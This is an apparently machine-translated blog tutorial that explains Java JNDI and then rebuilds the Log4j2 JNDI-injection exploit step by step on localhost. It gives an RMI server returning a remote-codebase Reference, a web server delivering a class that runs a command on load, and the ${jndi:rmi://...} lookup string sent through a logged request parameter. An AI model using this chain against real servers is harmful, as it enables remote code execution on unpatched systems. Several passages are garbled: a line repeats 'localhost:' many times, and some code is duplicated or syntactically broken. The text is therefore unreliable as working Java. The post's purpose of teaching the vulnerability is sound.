background

One of the hottest things on the Internet tech scene lately has been the Log4j2 bug. There were also articles of analysis about the version of the bug, the cause of the bug, how it was fixed, and how programmers worked overtime.

Friends who often read my articles know that in the face of such hot and interesting technical points, how can we miss in-depth analysis of a wave? As you’ve probably heard, the main culprit for the bug is JNDI, which we’ll talk about today.

JNDI, familiar, but… Familiar strangers? What the hell is JNDI? Well, if you’ve been programming for a year or two, you don’t know about JNDI, or even heard of it. Either change jobs or read this article.

What the hell is JNDI?

Speaking of JNDI, everyone who does Java EE programming is probably using it, but whether you know you’re using it depends on how deep you dig into the technology. This Log4j2 vulnerability indicates that a large number of projects are either directly or indirectly using JNDI. Let’s see what JNDI is all about.

Here’s Sun’s official explanation:

Java Naming and Directory Interface (JNDI) is a set of apis for accessing name and Directory services from Java applications. A naming service associates names with objects so that they can be accessed by their names. A directory service is a naming service whose objects have attributes and names.

Naming or directory services allow you to centrally manage the storage of shared information, which is important in web applications because it can make such applications more consistent and manageable. For example, the printer configuration can be stored in a directory service so that all printer-related applications can use it.

Is the concept so abstract that you read it several times without understanding it? A picture is worth a thousand words:

Does it look like a registry? Yes, the concept of Naming Service must be familiar to you if you have used or read the source code of Nacos. In JNDI, the implementation is different and the application scenario is different, but it doesn’t stop you from thinking about JNDI in a registry analogy.

If you say you haven’t used Nacos, well, Map has. Ignoring the differences between JNDI and the underlying Map implementation, JNDI provides a map-like binding function and then provides methods such as lookup or search to lookup objects by name, such as the Map get method.

In short, JNDI is a specification, and the specification requires an API (that is, Java classes) to implement it. With this set of apis, you can associate an Object with a name and provide a way to find an Object based on its name.

Finally, for JNDI, SUN simply provides an interface specification that is implemented by the corresponding server. For example, Tomcat has Tomcat implementation, JBoss has JBoss implementation, just follow the specification.

The difference between a naming service and a directory service

The naming service is the map-like binding and lookup functionality mentioned above. For example, in the Internet, domain naming service (DNS) is a naming service that maps a domain name to an IP address. Enter the domain name in the browser, find the corresponding IP address through DNS, and then access the website.

The directory service is an extension of the naming service. It is a special naming service that provides the association and lookup of attributes and objects. A directory service usually has a naming service (but a naming service does not have to have a directory service). The telephone directory, for example, is a typical directory service that searches for the name of the person in question and then finds the person’s phone number.

Directory services allow properties, such as a user’s E-mail address, to be associated with objects (naming services do not). In this way, objects can be searched based on their properties when using directory services.

JNDI schema hierarchy

JNDI is typically divided into three layers:

  • JNDI API: Used to communicate with Java applications, this layer insulates the application from the actual data source. So whether the application accesses LDAP, RMI, DNS, or any other directory service is irrelevant to this layer.
  • Naming Manager: Naming Manager.
  • JNDI Server Provider Interface (SPI) : for implementation-specific methods.

The overall architecture is layered as follows:

Note that JNDI provides both an Application Programming Interface (API) and a Service Provider Interface (SPI).

To do so, for applications that interact with a naming or directory service, there must be a JNDI service provider for that service, and this is where the JNDI SPI comes into play.

A service provider is basically a set of classes that implement various JNDI interfaces for specific naming and directory services — much the same way that a JDBC driver implements various JDBC interfaces for a specific data system. As a developer, you don’t need to worry about the JNDI SPI. Just make sure you provide a service provider for each naming or directory service you want to use.

The application of JNDI

Let’s take a look at the concepts and application scenarios of JNDI containers.

JNDI container environment

Naming in JNDI means binding a Java object with a name into a container Context. When used, the Context’s lookup method is called to find the Java object bound to a name.

A container Context is itself a Java object that can also be bound to another container Context by a name. Binding one Context object to another creates a parent-child cascading relationship, in which multiple Context objects can be cascaded into a tree structure. Each Context object in the tree can be bound to several Java objects.

JNDI application

The basic use of JNDI is to create an object, place it in the container environment, and pull it out as it is used.

At this point, are you wondering, why bother? In other words, what good is the effort going to do?

In a real world application, a system program or framework program would first bind resource objects into a JNDI environment, and subsequent module programs running in that system or framework would look them up from the JNDI environment.

An example of how JDNI fits into our practice is the use of JDBC. In the absence of a JNDI-based implementation, connecting to a database usually requires steps such as loading the database driver, connecting to the database, manipulating the database, closing the database, and so on. Different databases implement the above steps differently, and parameters may change.

If these issues are left to the J2EE container to configure and manage, the application only needs to reference these configurations and management.

In the case of a Tomcat server, at startup you can create a DataSource object that connects to a database system and bind the DataSource object to the JNDI environment. Servlets and JSPS running on the Tomcat server can then look up the DataSource object from the JNDI environment and use it, regardless of how the DataSource object was created.

This approach greatly enhances the maintainability of the system, even when the connection parameters of the database system are changed, independent of the application developer. JNDI makes access more efficient by putting some key information in memory; Using JNDI, you can decouple your system to make it more maintainable and extensible.

JNDI of actual combat

With these concepts and basics in mind, it’s time to get started.

In the architecture diagram, the JNDI implementation layer contains a variety of implementations, so let’s write an example based on one of the RMI implementations.

Implementation based on RMI

RMI is a remote method call in Java that passes data based on Java serialization and deserialization.

You can set up an RMI service with the following code:

Public interface RmiService extends Remote {String sayHello() throws RemoteException; } public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {protected MyRmiServiceImpl() throws RemoteException { } @Override public String sayHello() throws RemoteException { return "Hello World!" ; Public class RmiServer {public static void main(String[] args) throws Exception {Registry Registry =  LocateRegistry.createRegistry(1099); System.out.println("RMI started, listening: port 1099 "); registry.bind("hello", new MyRmiServiceImpl()); Thread.currentThread().join(); }}Copy the code

The above code defines an interface to RmiService that implements Remote and implements the RmiService interface. The concrete service implementation classes of UnicastRemoteObject are inherited during implementation.

Finally, port 1099 is listened to through Registry in RmiServer and the implementation class of the RmiService interface is bound.

Build client access below:

public class RmiClient { public static void main(String[] args) throws Exception { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); RmiService service = (RmiService) ctx.lookup("hello"); System.out.println(service.sayHello()); }}Copy the code

Two parameters, context. INITIAL_CONTEXT_FACTORY and context.provider_URL, represent the factory method initialized by the Context and the URL to provide the service, respectively.

By executing the above program, the remote objects can be obtained and invoked, thus achieving RMI communication. Localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost: localhost

Build attack

Generally, if you want to build an attack, you just fake a server side, return a malicious serialized Payload, and the client receives it and triggers deserialization. But there are actually restrictions on the type returned.

In JNDI, a more useful approach involves the concept of named references, javax.naming.reference.

If some local instance classes are too large, a remote reference can be selected to refer to the remote class by remote invocation. This is why JNDI takes advantage of Payload and also involves HTTP services.

The RMI service simply returns a named reference telling the JNDI application how to find the class, and the application then goes to the HTTP service to find the corresponding class file and load it. At this point, whenever malicious code is written to a static method, it will be executed at class load time.

The basic process is as follows:

Modify RmiServer code implementation:

public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI started, listening: port 1099 "); Reference Reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); }}Copy the code

Because using Java version is higher, need to com system variables. The first sun. Jndi.. Rmi object. TrustURLCodebase set to true.

The bound Reference involves three variables:

  • ClassName: the name of the class used for remote loading. If the className cannot be found locally, the remote loading is performed.
  • ClassFactory: A remote factory class;
  • ClassFactoryLocation: the address where the factory classes are loaded. It can be file //, ftp/ /, or http://.

At this point, start a simple HTTP listening service with Python:

192:~ ZZS $python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000...Copy the code

If a log is displayed, HTTP listening is performed on port 8000.

The corresponding client code is modified as follows:

public class RmiClient { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); ctx.lookup("hello"); }}Copy the code

Execute the client code and find the Python listening service printed as follows:

[12/Dec/2021 16:19:40] code 404, Message File not found 127.0.0.1 - - [12/Dec/2021 16:19:40] "GET/calc.class HTTP/1.1" 404 -Copy the code

As you can see, the client has loaded the malicious class (calc.class) file remotely, but the Python service does not return the corresponding result.

Further modification

The above code demonstrates that an attack can be made in the form of RMI, which is further demonstrated based on the above code and the form of the Spring Boot Web service. The local calculator is invoked via JNDI injection +RMI.

The basic code remains the same, with minor tweaking of the RmiServer and RmiClient classes, while adding some new classes and methods.

Step 1: Build the attack class

Create an attack class BugFinder to launch a local calculator:

Public class BugFinder {public BugFinder() {try {system.out.println (" Execute bug code "); public class BugFinder {public BugFinder() {try {system.out.println (" execute bug code "); String[] commands = {"open", "/System/Applications/Calculator.app"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); System.out.println(" Finish executing vulnerability code "); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { BugFinder bugFinder = new BugFinder(); }}Copy the code

I am a Mac operating system, and the code is based on the Mac command implementation, calling Calculator.app through Java command. Also, when the class is initialized, the command to start the calculator is executed.

The above code to be compiled and stored in a location, its own copy out here in the “/ Users/ZZS/temp/BugFinder. Class” path, for later use, this is the malicious code attacks.

Step 2: Build the Web server

Web services are used to return attack class files when RMI calls are made. The Spring Boot project is adopted here, and the core implementation code is as follows:

@RestController public class ClassController { @GetMapping(value = "/BugFinder.class") public void getClass(HttpServletResponse response) { String file = "/Users/zzs/temp/BugFinder.class"; FileInputStream inputStream = null; OutputStream os = null; try { inputStream = new FileInputStream(file); byte[] data = new byte[inputStream.available()]; inputStream.read(data); os = response.getOutputStream(); os.write(data); os.flush(); } catch (Exception e) { e.printStackTrace(); } finally {// omit the stream's judgment closed; }}}Copy the code

In this Web service, the bugFinder.class file is read and returned to the RMI service. The focus is on providing a Web service that returns an executable class file.

Step 3: Modify RmiServer

Make a change to the RmiServer binding:

public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI started, listening: port 1099 "); Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "Http://127.0.0.1:8080/BugFinder.class"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); }}Copy the code

The parameters passed in by Reference are the attack class and the Web address of the remote download.

Step 4: Execute the client code

Execute client code for access:

public class RmiClient { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); ctx.lookup("hello"); }}Copy the code

Local calculator is opened:

Log4j2-based attack

The basic attack pattern is shown above. Based on the above pattern, let’s take a look at the Log4j2 vulnerability attack.

An affected version of log4j2 was introduced in the Spring Boot project:

<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions><! --> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <! GroupId >org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency>Copy the code

Note that the default Spring Boot log is excluded first, otherwise the Bug may not be repeated.

Modify RMI Server code:

public class RmiServer { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Registry registry = LocateRegistry.createRegistry(1099); System.out.println("RMI started, listening: port 1099 "); Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); Thread.currentThread().join(); }}Copy the code

Here you access BugFinder directly with the JNDI binding name: Hello.

The client imports the Log4j2 API and logs:

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class RmiClient { private static final Logger logger = LogManager.getLogger(RmiClient.class); public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); Logger. The error (" ${jndi: rmi: / / 127.0.0.1:1099 / hello} "); Thread.sleep(5000); }}Copy the code

Log information for “${jndi: rmi: / / 127.0.0.1:1099 / hello}”, namely the rmi Server address and the name of the binding.

Run the program and find that the calculator has been opened successfully.

Of course, in practice, logger.error logs might be obtained with parameters such as Spring Boot:

@RestController public class Log4jController { private static final Logger logger = LogManager.getLogger(Log4jController.class); /** * easy to test, @param username */ @getMapping ("/a") public void log4j(String username){system.out.println (username); // Print the login name logger.info(username); }}Copy the code

Request a URL in the browser:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D
Copy the code

The username is the value of the parameter “${jndi: rmi: / / 127.0.0.1:1099 / hello}” value after URLEncoder# encode coding. At this point, accessing the URL will also open the calculator.

As for the Log4j2 internal logic vulnerability triggering JNDI calls, the part is no longer expanded, interested friends can debug on the above instance to see the full call link.

summary

By analyzing the Log4j2 vulnerability, this article not only takes you through the basics of JNDI, but also perfectly recreates the JNDI-based tools. The code covered in this article is my own experiment, I strongly recommend that you also run through the code, really feel how to implement the attack logic.

JNDI injection events occur not only in Log4j2, but also in a number of other frameworks. While JDNI brings us convenience, it also brings risks. But you can see in the instance in high version of the JDK, without special setup (com. Sun. Jndi. Rmi. Object. TrustURLCodebase is set to true), or unable to trigger the vulnerability. That’s a little reassuring.

In addition, if this vulnerability does appear in your system, it is highly recommended to fix it immediately. Before the bug was reported, only a few people probably knew about it. Once it’s out there, there’s a lot of people who want to try it, so protect it.

About the blogger: Author of the technology book SpringBoot Inside Technology, loves to delve into technology and writes technical articles.

Public account: “program new vision”, the blogger’s public account, welcome to follow ~

Technical exchange: Please contact the weibo user at Zhuan2quan